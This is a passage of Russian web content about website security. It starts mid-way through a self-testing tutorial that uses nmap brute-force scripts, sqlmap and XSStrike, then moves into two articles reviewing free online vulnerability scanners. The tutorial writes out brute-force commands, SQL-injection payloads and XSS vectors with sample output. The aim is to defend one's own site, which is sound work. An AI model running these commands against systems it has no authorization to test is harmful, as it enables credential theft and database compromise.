В случае успеха (процесс не быстрый) скрипт выведет подобранный пароль и логин . Подобранные пары логинпароль будут выведены после строчки Accounts:

22/ssh open ssh
ssh-brute:
Accounts
username:password
Statistics
Performed 32 guesses in 25 seconds.

Кроме того, можно расширить стандартные списки паролей и пользователей от nmap, заменив файлы users.lst и passwords.lst . Различные базы для брутфорса можно найти в этом gitbub репозитории. Файлы с базой паролей можно разместить в папке nmap/nselib/data

FTP

Теперь проверяем FTP порт следующей командой:

nmap -d –script ftp-brute -p 21 161.35.92.161

Аналогично, сервис выведет подобранные пары логинов и паролей:

PORT STATE SERVICE
21/tcp open ftp
| ftp-brute:
| Accounts
| root:root – Valid credentials
|_ Statistics: Performed 864 guesses in 544 seconds, average tps: 4.8

MySQL

Проверяем доступен ли анонимный вход.

nmap -sV –script=mysql-empty-password <target>

В случае успеха:

3306/tcp open mysql
| mysql-empty-password:
| anonymous account has empty password
|_ root account has empty password

Пытаемся подобрать пару логинпароль для входа в базу данных mysql.

nmap –script mysql-brute -p 3306 <target>
–script-args userdb=users.lst, passdb=passwords.lst

Также если у вас используются CMS (WordPress, Joomla, Drupal, Bitrix) и другие базы данных (Mongo, Postgres, Redis), то можно найти готовые скрипты для проверки устойчивости ваших паролей и форм. Ищите по ключевым словам <name_of_CMS_or_DB> brute force nmap

Проверяем формы авторизации

Найти формы авторизации можно с помощью такой команды (вместо <target> – подставьте домен вашего сайта):

nmap -p80 –script http-auth-finder <target>

После того, как нашли страницы с авторизацией, можно попробовать подобрать пароль и логин для входа в админку сайта.

Параметры

  • http-brute.hostname – имя хоста
  • http-form-brute.path – адрес страницы с формой или адрес с API
  • http-brute.method – тип метода, по умолчанию POST
  • http-form-brute.uservar – устанавливает имя переменной, которая отвечает за username. Если не установлено, то скрипт возьмет имя поля из формы
  • http-form-brute.passvar – устанавливает имя переменной, которая отвечает за пароль. Если не установлено, то скрипт возьмет имя поля из формы

Параметры нужно перечислять через запятую после -script-args.

nmap -p-80 –script=http-form-brute –script-args=http-form-brute.path=/login <target>

Если скрипт успешно сработает, то выведет примерно вот такой результат.

Подобранные данные для входа будут отображены после строчки Accounts. В нашем случае скрипт подобрал логин user с паролем secret. В реальном приложении подбор может также занять продолжительное время, зависит от того насколько стойкий пароль используется.

PORT STATE SERVICE REASON
80/tcp open http syn-ack
| http-form-brute:
| Accounts
| user:secret – Valid credentials
| Statistics
|_ Perfomed 60023 guesses in 467 seconds, average tps: 138

Если ваша формы авторизации использует cookies параметры или csrf-token, то в этом случае выдаст ошибку. (И это хорошо, значит базовую защиту вы предусмотрели).

В качестве защиты стоит использовать стойкие пароли, а также ограничивать количество запросов с одного IP-адреса (Rate limiting).

3. Ищем скрытые папки и файлы

Часто разработчики или системные администраторы довольно халатно относятся к правам доступа и забывают закрыть доступ к системным и другим важным папкам. Проверить есть у нас на сервере такие папки можно также с помощью утилиты nmap. Команды будет выглядеть так (вместо <target> нужно подставить IP-адрес сервера или домен сайта) :

nmap -sV -p 80 -T5 –script http-enum <target>

В результате в отчете нам покажут доступные для просмотра папки, интересные файлы – файлы паролей, резервные копии базы данных и тд. (Если такие существуют). Дальше уже вам нужно самостоятельно решить какие папки и файлы нужно закрыть от просмотра, а какие оставить как есть.

Пример небольшого отчета.

Host is up (0.024s latency).
Not shown: 993 closed ports
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /robots.txt: Robots file
| /css/: Potentially interesting directory w/ listing on ‘apache/2.4.41 (ubuntu)’
| /images/: Potentially interesting directory w/ listing on ‘apache/2.4.41 (ubuntu)’
|_ /js/: Potentially interesting directory w/ listing on ‘apache/2.4.41 (ubuntu)’

4. Проверяем на SQL инъекции

Так повелось, что большинство современных веб-приложений в той или иной мере используют SQL базы данных. Обычно параметры веб-страницы или какие-либо пользовательские данные подставляются в SQL запросы и результаты запроса отображаются на веб-странице. Если передаваемые параметры плохо фильтруются, то веб-сервис становится уязвимым для SQL инъекций.

Если сайт уязвим и выполняет такие инъекции, то по сути есть возможность творить с БД (чаще всего это MySQL) что угодно. Именно таким образом чаще всего воруют базы пользователей и их личные данные.

Далее я покажу как с помощью скриптов быстро и эффективно проверить есть в вашем продукте подобные уязвимости. Часто даже довольно опытные разработчики забывают о мерах предосторожности, поэтому даже серьезные продукты имеют подобные проблемы. Попробуем проверить наш тестовый веб-сервис на наличие таких проблем c помощью инструмента sqlmap.

Установка sqlmap.

Sqlmap – это кроссплатформенный сканер с открытым исходным кодом, который позволяет в автоматическом режиме тестировать веб-сервисы на наличие SQL инъекций, а затем использовать их для получения контроля над базой данных.

В данной статье я рассмотрю только способы как можно находить уязвимые для SQL инъекций страницы, API и формы без подробностей о том, как использовать найденные уязвимости для нанесения вреда. (Владельцы сайтов тут облегченно вздохнули). Для использования необходим python версии 2.7 и старше.

Установка на Windows

Для начала работы нам необходимо установить Python. Установщик Python для Windows можно найти на официальном сайте. Ссылку я прикрепил ниже.

На сайте две ветки – 2.x и 3.x, но скачать и установить лучше ветку 3.x. Sqlmap корректно работают с каждой из этих версий, но в дальнейшем нам потребуется версия 3.x.

Загрузить последнюю версию sqlmap можно здесь. Распакуйте архив в любую удобную папку (чтобы было проще ее найти можно распаковать в папку С:Users<имя вашего пользователя>)

Для запуска вначале нужно открыть командную строку. Нажмите Win+R, в появившемся окне введите cmd и нажмите enter. Пример запуска:

С:UsersAdminsqlmap>python ./sqlmap.py -u http://161.35.92.161/page.php?id=2

Установка на Mac OS X

Для начала установим Python. Для этого откройте Tерминал и запустите следующую команду.

brew install python3

Теперь установим sqlmap.

brew install sqlmap

Запуск sqlmap для Mac OS X.

sqlmap -u http://161.35.92.161/page.php?id=2 –dbs -o -random-agent

Начинаем проверку

В моем тестируемом сервисе я специально подготовил sql уязвимости. Попробуем найти их следующей командой. Параметр –dbs означает, что нам интересны имена баз данных. В случае успеха и наличия уязвимости, после определения баз данных можно перейти к поиску таблиц и получения нужных данных. Команду необходимо вводить в консоль.

python sqlmap.py -u http://161.35.92.161/page.php?id=2 –dbs -o -random-agent

Через некоторое время скрипт может попросить нас уточнить некоторые данные. В данном случае выбираю “нет”, чтобы скрипт прогнал все тесты.

[01:14:57] [INFO] fetched random HTTP User-Agent header value ‘Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.6; MSIECrawler)’ from file ‘C:UsersAcersqlmapdatatxtuser-agents.txt’
[01:15:04] [INFO] testing connection to the target URL
[01:15:04] [INFO] checking if the target is protected by some kind of WAF/IPS
[01:15:05] [INFO] testing NULL connection to the target URL
[01:15:05] [INFO] NULL connection is supported with GET method (‘Range’)
[01:15:05] [INFO] testing if the target URL content is stable
[01:15:05] [INFO] target URL content is stable
[01:15:05] [INFO] testing if GET parameter ‘id’ is dynamic
[01:15:05] [INFO] GET parameter ‘id’ appears to be dynamic
[01:15:06] [INFO] heuristic (basic) test shows that GET parameter ‘id’ might be injectable
[01:15:06] [INFO] testing for SQL injection on GET parameter ‘id’
[01:15:06] [INFO] testing ‘AND boolean-based blind – WHERE or HAVING clause’
[01:15:06] [INFO] GET parameter ‘id’ appears to be ‘AND boolean-based blind – WHERE or HAVING clause’ injectable
[01:15:07] [INFO] heuristic (extended) test shows that the back-end DBMS could be ‘CrateDB’
it looks like the back-end DBMS is ‘CrateDB’. Do you want to skip test payloads specific for other DBMSes? [Y/n] n

Скрипт выводит отчет:

[01:15:29] [INFO] testing ‘MySQL >= 5.0 AND error-based – WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)’
[01:15:29] [INFO] testing ‘PostgreSQL AND error-based – WHERE or HAVING clause’
[01:15:29] [INFO] testing ‘Microsoft SQL Server/Sybase AND error-based – WHERE or HAVING clause (IN)’
[01:15:30] [INFO] testing ‘Oracle AND error-based – WHERE or HAVING clause (XMLType)’
[01:15:30] [INFO] testing ‘MySQL >= 5.0 error-based – Parameter replace (FLOOR)’
[01:15:30] [INFO] testing ‘Generic inline queries’
[01:15:30] [INFO] testing ‘PostgreSQL > 8.1 stacked queries (comment)’
[01:15:30] [WARNING] time-based comparison requires larger statistical model, please wait…………………. (done)
[01:15:32] [INFO] testing ‘Microsoft SQL Server/Sybase stacked queries (comment)’
[01:15:32] [INFO] testing ‘Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE – comment)’
[01:15:32] [INFO] testing ‘MySQL >= 5.0.12 AND time-based blind (query SLEEP)’
[01:15:43] [INFO] GET parameter ‘id’ appears to be ‘MySQL >= 5.0.12 AND time-based blind (query SLEEP)’ injectable
[01:15:43] [INFO] testing ‘Generic UNION query (NULL) – 1 to 20 columns’
[01:15:43] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[01:15:45] [INFO] target URL appears to be UNION injectable with 4 columns
[01:15:46] [INFO] GET parameter ‘id’ is ‘Generic UNION query (NULL) – 1 to 20 columns’ injectable
GET parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] y

После продолжения анализа нас в первую очередь интересует строчка в конце: GET parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N].

Как можно видеть, скрипт определил, что параметр id уязвим и предлагает протестировать другие параметры. В нашем конкретном случае других параметров нет, но в реальных веб-приложениях таких параметров может быть десятки, так что иногда имеет смысл проверить все.

Итоговый отчет:

sqlmap identified the following injection point(s) with a total of 74 HTTP(s) requests:

Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind – WHERE or HAVING clause
Payload: id=2 AND 9795=9795

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=2 AND (SELECT 7989 FROM (SELECT(SLEEP(5)))geJr)

Type: UNION query
Title: Generic UNION query (NULL) – 4 columns
Payload: id=2 UNION ALL SELECT NULL,CONCAT(0x716a6a6b71,0x736654714b69505a4f6f64434776566d7a43455179446561434f7a46434241555449574d6759575a,0x7162627171),NULL,NULL– –

[INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12
[INFO] fetching database names
available databases [2]:
[*] information_schema
[*] vc_test

[INFO] fetched data logged to text files under ‘C:UsersAdminAppDataLocalsqlmapoutput161.35.92.161’

В итоге скрипт не только определил, что параметр id является уязвимым, но и версию СУБД, а также получил название используемой базы данных на сервере – vc_test, в которой содержится контент сайта. Эту информацию можно найти в конце сгенерированного отчета.

В дальнейшем для злоумышленника уже обычно не проблема получить данные в таблицах, а возможно и полный контроль над всей БД, а то и всем нашим сервером и исходным кодом сайта, если для запросов используется пользователь с широкими правами.

Кроме того, sqlmap позволяет задавать http заголовки и параметры Cookies, что довольно удобно для тестирования, особенно когда для получения результата запроса требуется авторизации.

Пример тестирования запроса POST. Параметры, которые передаются в теле запроса записываются в опцию скрипта –data. Необходимые параметры для POST запроса можно подсмотреть в консоли браузера (Ctrl + Shift + I в Windows, затем перейти в вкладку Network, совершить нужное действие, а затем изучить каким образом формируется запрос)

sqlmap.py -u http://localhost/login –data=”username=alex&password=pass” –dbs -o -random-agent

После авторизации обычно необходимо передать нужные Сookie. В sqlmap за это отвечает опция –cookie. Нужные значения cookies можно получить в инструментах разработчика вашего браузера. (в Windows ctrl+shift+i, затем найдите вкладку Network, а в ней щелкните на запрос с именем домена сайта. В окне справа пролистайте пока не увидите параметр cookie)

Пример команды sqlmap c опцией –cookie.

sqlmap.py -u http://localhost/create –data=”name=alex&message=hacked” –cookie=”security_level=low; PHPSESSID=05aa4349068a1kkaje4kcqnr9o6″ –dbs -o -random-agent

Если параметров несколько, то можно явно указать какой параметр будем тестировать с помощью опции -p.

sqlmap.py -u “http://localhost/profile/?username=alex&page=2” -p username

Можно задавать http заголовки через опцию –headers. Это крайне полезно для тестирования ваших API.

Также если get параметр передается не как get параметр, а как URI, то в этом случае нужно явно указать с помощью *, что данная часть URI является параметром. Пример:

sqlmap.py -u “http://localhost/api/v2/news/2*” –headers=”Authorization: Bearer <token>” –dbs -o -random-agent

Таким образом можно довольно тщательно протестировать ваше веб-приложение на наличие SQL инъекций. Также крайне полезно использовать sqlmap для автоматических тестов и запускать их после каждого изменения кода вашего приложения и не допускать код в ветку master, если он содержит уязвимость.

Для защиты от SQL инъекций нужно тщательно фильтровать параметры и HTTP заголовки, а также использовать подготовленные запросы.

5. Проверка на XSS уязвимости.

Межсайтовый скриптинг (XSS) – это уязвимость, которая заключается во внедрении злоумышленником своего Javascript кода в веб-страницу, которая отображается в браузере пользователя.

После такого внедрения злоумышленник фактически захватывает веб-страницу и может манипулировать данными пользователя, когда он находится на странице. В случае успеха злоумышленник может:

  • Внедрять свои скрипты в веб-страницу
  • Отправлять на свой сервер пользовательские данные – банковские карты, идентификаторы сессий, пароли и тд.
  • Совершать действия от имени пользователя – рассылать спам, совершать денежные переводы

Уязвимость возникает из-за недостаточной фильтрации данных, которые выводятся при отображении страницы.

Такие уязвимости довольно часто встречаются даже в крупных продуктах, поэтому стоит обязательно тестировать свои веб-приложения на наличие XSS уязвимостей.

В данном случае для тестирования мы воспользуемся утилитой XSStrike

ХSStrike – это довольно продвинутый сканер для поиска XSS уязвимостей c открытым исходным кодом. Он написано на Python3 и довольно прост в начальной настройке и использования.

Установка

Для установки необходимо скачать архив по ссылке и распаковать в удобную вам папку. После этого необходимо открыть консоль (ранее я уже показывал как это сделать в Mac и Windows) и перейти в распакованную папку. Затем нужно выполнить команды в консоле:

pip3 install pygame

Установим необходимые для корректной работы библиотеки:

pip3 install -r requirements.txt

Теперь мы готовы к тестированию. Пример простого запуска, вместо моего url укажите адрес страницы, которую хотите протестировать:

python xsstrike.py -u “http://161.35.92.161/index.php?page=2” –blind

Очень быстро скрипт обнаруживает, что параметр page является уязвимым ( строчка Reflections found ) и через него можно передать js код, который будет исполнен на странице. Пример такого кода приводится в строчке Payload. Такой тип XSS уязвимостей называется reflected XSS.

[~] Checking for DOM vulnerabilities
[+] WAF Status: Offline
[!] Testing parameter: page
[!] Reflections found: 1
[~] Analysing reflections
[~] Generating payloads
[!] Payloads generated: 3072
————————————————————
[+] Payload: <HTmL%0aONmOuSEoVeR+=+(prompt)“%0dx//
[!] Efficiency: 100
[!] Confidence: 10
[?] Would you like to continue scanning? [y/N] n

Кроме того, можно проверять и формы. Отправим на проверку форму, которая отправляет сообщение в наш сервис. Чтобы передать список POST параметров используем опцию –data.

python xsstrike.py -u “http://161.35.92.161/index.php” –data “name=&message=” –blind

Результат: параметр name уязвим.

[~] Checking for DOM vulnerabilities
[+] WAF Status: Offline
[!] Testing parameter: name
[!] Reflections found: 3
[~] Analysing reflections
[~] Generating payloads
[!] Payloads generated: 4608
————————————————————
[+] Payload: <A%0aOnmOUSeOVEr%0d=%0d(prompt)“%0dx>v3dm0s
[!] Efficiency: 100
[!] Confidence: 10
[?] Would you like to continue scanning? [y/N]

Как выглядит ответ, когда скрипт не находит уязвимых параметров:

[~] Checking for DOM vulnerabilities
[+] WAF Status: Offline
[!] Testing parameter: name
[-] No reflection found
[!] Testing parameter: message
[-] No reflection found

Кроме того, в XSStrike поддерживает возможность передавать http заголовки, в том числе и cookies и проверять страницы для открытия которых нужна авторизация. Для этого используется опция –headers

python xsstrike.py -u “http://161.35.92.161/index.php” –data “name=&message=” –headers “Authorization: Bearer <token> Cookie: zmname=none” –blind

Также можно запустить обход по всему сайту. Нужно указать стартовую страницу и сканер начнет обход всех найденных страниц. Запись -l 100 отвечает за количество страниц обхода.

python xsstrike.py -u “http://161.35.92.161” –blind –crawl -l 100

Скрипт покажет страницы, на которых были найдены уязвимые параметры. Найденные страницы можно уже исследовать подробнее.

[~] Crawling the target
[++] Vulnerable webpage: http://161.35.92.161/index.php
[++] Vector for message: <htMl%09oNMOuseoVER%0d=%0dconfirm()//
[++] Vulnerable webpage: http://161.35.92.161/index.php
[++] Vector for page: <hTMl%0donPointereNter%0a=%0a[8].find(confirm)>
[++] Vulnerable webpage: http://161.35.92.161/index.php
[++] Vector for name: <D3v/+/oNMoUSeoveR%0a=%0a(confirm)()%0dx>v3dm0s
!] Progress: 3/3

Также полезная функция – обход url страниц, которые указаны в файле с помощью опции –seeds. Можно также использовать вместе с опцией –headers.

python xsstrike.py -u “http://example.com” -l 3 –seeds urls.txt

Таким образом можно достаточно тщательно проверить свое веб-приложение на XSS уязвимости. Также хорошим ходом будет написать простой bash скрипт для объединения всех проверок XSS в один скрипт, специально заточенный под ваш проект.

Его задачей будет тестировать ваше веб-приложение после каждого изменения исходного кода и не пускать коммит в ветку master, если страницы и формы содержат XSS уязвимости .

Для борьбы с XSS уязвимости нужно также тщательно фильтровать данные, которые показываются пользователю.

Заключение

Надеюсь руководство будет полезным и поможет вам сделать свои сайты и веб-приложения безопаснее. Также стоит проверять не только сам сайт, но и ваши админки и вспомогательные сервисы на поддоменах, ведь они также могут быть уязвимы перед подобными автоматизируемыми системами и скриптами.

Конечно приведенные меры не обеспечивают 100% защиты, и я не рассказал о многих других типовых уязвимостях, но показанные меры помогут защитить проект от автоматизированных систем взлома и злоумышленников с невысокими навыками.

Если есть вопросы, то смело пишите их в комментариях или мне в телеграм t.me/alex.belousov92

Также будет интересно почитать, что вы используете для тестирования безопасности ваших веб-приложений. Если статья наберет достаточное количество плюсов, то напишу продолжение. Поэтому не забудьте проголосовать, если статья понравилась!

Одним из наиболее важных вопросов в области информационных технологий является безопасность. Знаете ли вы, что 96% тестируемых приложений имеют уязвимости?

Ниже приведена диаграмма от Cenzic, на которой показаны различные типы найденных уязвимостей.

В этой статье я расскажу о бесплатных инструментах, позволяющих осуществить поиск уязвимостей на сайте, а также проверить его на наличие вредоносных программ.

  • Scan My Server
  • SUCURI
  • Qualys SSL Labs, Qualys FreeScan
  • Quttera
  • Detectify
  • SiteGuarding
  • Web Inspector
  • Acunetix
  • Asafa Web
  • Netsparker Cloud
  • UpGuard Web Scan
  • Tinfoil Security

Список рассматрива емых инструментов:

  • Scan My Server;
  • SUCURI;
  • Qualys SSL Labs, Qualys FreeScan;
  • Quttera;
  • Detectify;
  • SiteGuarding;
  • Web Inspector;
  • Acunetix;
  • Asafa Web;
  • Netsparker Cloud;
  • UpGuard Web Scan;
  • Tinfoil Security.

Сканер сайта онлайн ScanMyServer предоставляет один из самых полных отчетов по тестам безопасности: SQL-инъекциям, межсайтовому скриптингу, инъекциям PHP-кода, раскрытию источника, установке HTTP-заголовков и многое другое.

Scan My Server

Отчет о проверке отправляется по электронной почте с кратким описанием найденных уязвимостей.

SUCURI является самым популярным бесплатным сканером вредоносных программ. Вы можете быстро проверить сайт на уязвимости онлайн, наличие вредоносного кода, SPAM-инъекций и его присутствие в различных черных списках.

SUCURI

SUCURI также очищает и защищает сайт от онлайн-угроз. Инструмент работает на любых CMS, включая WordPress, Joomla, Magento, Drupal, phpBB и т. д.

SSL Labs является одним из популярных инструментов для сканирования веб-сервера SSL. Он обеспечивает углубленный анализ https URL-адреса, общий рейтинг, шифр, версию SSL / TLS, имитацию рукопожатий, информацию о протоколе, BEAST и многое другое.

Qualys SSL Labs, Qualys FreeScan

FreeScan проверяет сайты на OWASP Top Risks и вредоносные программы, по параметрам безопасности SCP, а также выполняет другие тесты. Чтобы выполнить сканирование, необходимо зарегистрировать бесплатную учетную запись.

Quttera проверяет сайт на наличие вредоносных программ и уязвимостей.

Quttera

Этот инструмент позволяет провести проверку сайта на уязвимости онлайн на наличие вредоносных файлов, подозрительных файлов, потенциально подозрительных файлов, phishTank, а также присутствие в списках безопасного просмотра (Google, Yandex) и списках вредоносных программ.

Detectify – это сканер сайта, основанный на SaaS. Он позволяет проводить более 100 автоматических тестов безопасности, включая тест OWASP Top 10, наличие вредоносного программного обеспечения и многие другие.

Detectify

Detectify предоставляет 21-дневную бесплатную ознакомительную версию.

SiteGuarding позволяет проверить домен на наличие вредоносного программного обеспечения, присутствия в черных списках, инъекций спама и многого другого.

Сканер совместим с WordPress, Joomla, Drupal, Magento, osCommerce, Bulletin и другими платформами.

SiteGuarding

SiteGuarding также помогает удалить вредоносное программное обеспечение с сайта.

Web Inspector сканирует сайт и предоставляет отчеты – «черный список», «фишинг», «вредоносные программы», «черви», «бэкдоры», «трояны», «подозрительные фреймы», «подозрительные подключения».

Web Inspector

Acunetix проверяет весь сайт на наличие более 500 различных уязвимостей.

Acunetix

Инструмент предоставляет бесплатную пробную версию на 14 дней.

AsafaWeb предлагает сканирование трассировки, пользовательских ошибок, трассировки стека, патча Hash DoS, журнала EMLAH, HTTP Only Cookies, Secure Cookies, Clickjacking и многого другого.

Asafa Web

Netsparker Cloud – это сканер безопасности корпоративных веб-приложений, который способен обнаружить более 25 критических уязвимостей. Он бесплатен для проектов с открытым исходным кодом. Также можно запросить пробную версию инструмента.

Netsparker Cloud

UpGuard Web Scan – это инструмент оценки внешних рисков, который использует общедоступную информацию по различным факторам, включая SSL, атаки Clickjack, Cookie, DNSSEC, заголовки и т. д. Он все еще находится на стадии бета-тестирования, но его стоит попробовать.

Tinfoil Security сначала проверяет сайт на наличие 10 уязвимостей OWASP, а затем на другие известные угрозы. В конечном итоге вы получите отчет о действиях и сможете повторно просканировать сайт после внесения необходимых исправлений.

Полная настройка займет около 5 минут. Просканировать сайт можно даже если он защищен или для входа на него требуется регистрация.

Tinfoil Security - 2

Одним из основных факторов безопасности любого сайта является постоянный контроль, поэтому вы получите уведомление, когда он дает сбой или подвергается взлому.

Перечисленные инструменты позволяют сканировать сайт по запросу и запланировать автоматическую проверку безопасности. Надеюсь, что приведенный список специализированных средств поможет вам выполнить проверку безопасности сайта.

05 декабря 2022

Чтобы обезопасить свой веб-проект от взлома и других киберугроз, необходимо регулярно проверять его на наличие уязвимых мест в безопасности. Чем популярнее ваш сайт и чем более ценную информацию он содержит, тем серьезнее должны быть средства защиты. Существует немало коммерческих сканеров уязвимостей, которые позволяют выявить фактические и потенциальные «дыры», но большинству веб-сайтов бывает достаточно и бесплатных сервисов, обеспечивающих базовые уровни проверки. В статье мы расскажем о пяти онлайн-сканерах, благодаря которым можно как искать уязвимости сайта, так и узнавать об уже активном вредоносном коде.

Уязвимости на сайте: самые слабые места

Перед тем, как найти уязвимость на сайте, стоит изучить наиболее распространенные недостатки системы, которые программы сканирования отмечают в первую очередь. Поиск уязвимостей чаще всего показывает, что сайт:

  1. Открыт для инъекций (SQL, LDAP, OS и др.), т. е. ввода и выполнения непроверенных данных.
  2. Имеет проблемы с аутентификацией и управлением сеансами.
  3. Не защищен от межсайтового скриптинга (XSS).
  4. Имеет проблемы с настройкой прав доступа.
  5. Использует уязвимую конфигурацию и компоненты.
  6. Недостаточно защищен от атак.
  7. Подвержен риску межсайтовой подделки запросов.
  8. Передает данные в открытом виде, не использует инструменты генерации/управления паролями.

Перечислить все возможные угрозы не получится, но указанные нюансы стоит проверить в любом случае. Это самые «любимые» у хакеров пути вмешательства.

Как найти уязвимости на сайте.

ТОП-5 бесплатных сканеров для поиска уязвимостей на сайте

Искать слабые места вручную — довольно трудоемкая задача, поэтому специальные программные сканеры становятся лучшими друзьями любому веб-мастеру, заботящемуся о безопасности своих проектов. Ниже мы кратко расскажем о пяти сервисах, которые позволяют проверять сайт на уязвимости и находить даже потенциальные угрозы абсолютно бесплатно.

№1. SiteGuarding.com

Приложение совместимо со многими CMS: WordPress, Joomla, Drupal, Magento и пр. Может просканировать сайт на наличие вирусов и других вредоносных программ, обнаружить спам-инъекции, проверить, не внесен ли домен в черные списки и актуальны ли используемые версии ПО, проанализировать внутренние ссылки и мн. др. SiteGuarding также позволяет удалить зараженные компоненты. Сложноват в настройке, но результаты сканирования имеют очень удобное отображение.

№2. Sucuri SiteCheck

Популярный сканер уязвимостей, который работает с большинством современных движков и довольно прост в управлении. Он проводит быстрые сканирования, но весьма ограничен в функционале и потому дает мало информации. Sucuri проверяет, присутствует ли сайт в списках безопасного просмотра Google и Яндекс, ищет его в блэк-листах, находит вредоносное ПО и очищает от него веб-сервер, сообщает об отсутствии файервола, мониторинга и некоторых служб.

№3. H-X Scanner

Онлайн-сканер работает в двух режимах. Быстрый занимает около пяти минут, результаты отображаются тут же на странице. В нормально режиме сканирование может длиться до нескольких часов, в зависимости от объема сайта и его сложности. Сервис не требует регистрации: достаточно ввести домен, который нужно проверить, и указать электронную почту, на которую придет отчет при выборе нормального поиска. Подходит для ручной верификации уязвимостей, отчетная документация довольно подробная и с ней удобно работать.

№4. Observatory

Сканер от разработчиков проекта Mozilla, доступный для простого пользователя благодаря понятному интерфейсу и наглядным отчетам. Функционал включает в себя тестирование протоколов безопасности SSL/TLS, проверку предварительной загрузки HSTS, анализ HTTP-заголовков на предмет уязвимостей и др. Сервисом можно пользоваться прямо через окно браузера, потребуется только веб-адрес сайта.

№5. ImmuniWeb

Довольно серьезный инструмент для оценки информационной безопасности сервера, который обслуживает ваш сайт. Сканер проверяет, соответствует ли он требованиям таких стандартов, как PCI DSS и GDRP, анализирует заголовки HTTP и библиотеки интерфейсов, проводит CMS-тесты для ресурсов, построенных на ВордПресс и Друпал. Для бесплатного продукта у него достаточно широкий функционал. Не очень быстрый сканер, но предоставляет удобные информативные отчеты.

Как повысить защищенность сайта

Вот несколько общих рекомендаций, которые стоит соблюдать, чтобы обеспечить безопасность ресурса:

  1. Отслеживайте актуальность используемого ПО и обновляйте его вовремя.
  2. Используйте сложные пароли, периодически их меняйте, не ставьте один и тот же пароль на разные аккаунты и сервисы.
  3. Скачивайте сторонние программы и компоненты только из проверенных источников.
  4. Установите антивирус на сайт и сервер.
  5. Регулярно проводите резервное копирование, храните бэкапы в нескольких экземплярах в независящих друг от друга местах.
  6. Сканируйте сайт на уязвимости не реже одного раза в месяц.

Мы также рекомендуем тщательно выбирать хостинг-провайдера и подключить хотя бы стандартную защиту от DDoS-атак.

Как повысить защищенность сайта.

Заключение

Сегодня вопрос кибербезопасности стоит как никогда остро. Подвергнуться атаке злоумышленников может любой интернет-ресурс, вне зависимости от его размера и популярности. Чтобы не стать жертвой внезапного нападения, действуйте на опережение и находите уязвимости в своей защите до того, как ими воспользуются в преступных целях. В этом вам помогут сканеры, о которых мы рассказали в статье.

Добавить комментарий